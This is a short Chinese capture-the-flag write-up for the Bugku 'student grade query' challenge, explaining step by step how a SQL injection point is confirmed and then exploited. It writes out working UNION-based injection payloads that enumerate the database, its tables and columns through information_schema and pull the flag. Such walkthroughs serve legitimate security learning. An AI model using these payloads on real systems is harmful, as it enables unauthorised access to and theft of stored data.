Bugku学生成绩查询
我们首先分别输入1,2,3,均有输出。
输入1,正常。输入1’ 错误。输入1’#正常,说明存在注入点。
因此我们可以判断存在sql注入。
接着使用order by 来看有几列,我们可以从1开始测试或者使用均分法先从一个大的数据测,然后再分半。这一题测试过后只有四列,5就开始出错了接着使用union联合注入,union 的作用是将两个 sql 语句进行联合,union 前后的两个 sql 语句的选择列数要相同才可以。记得把前面的查询数据置空,写成id=-1即可,显示正常,说明确确实实存在这四列数据
发现有四个表且都有回显,然后开始**表名。
首先爆库名:通过id=-1’ union select 1,2,3,database()#得到数据库名skctf_flag然后爆表名:通过使用 id=-1’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名:fl4g,sc
接下来开始爆字段:id=-1’union select 1,2,3,group_concat(column_name)from information_schema.columns where table_name=0x666c3467#注意最后的表名要用十六进制进行加密。得到字段skctf_flag
最后就是查询数据了,通过使用:id=-1’ union select 1,2,3,skctf_flag from fl4g#
得到flag。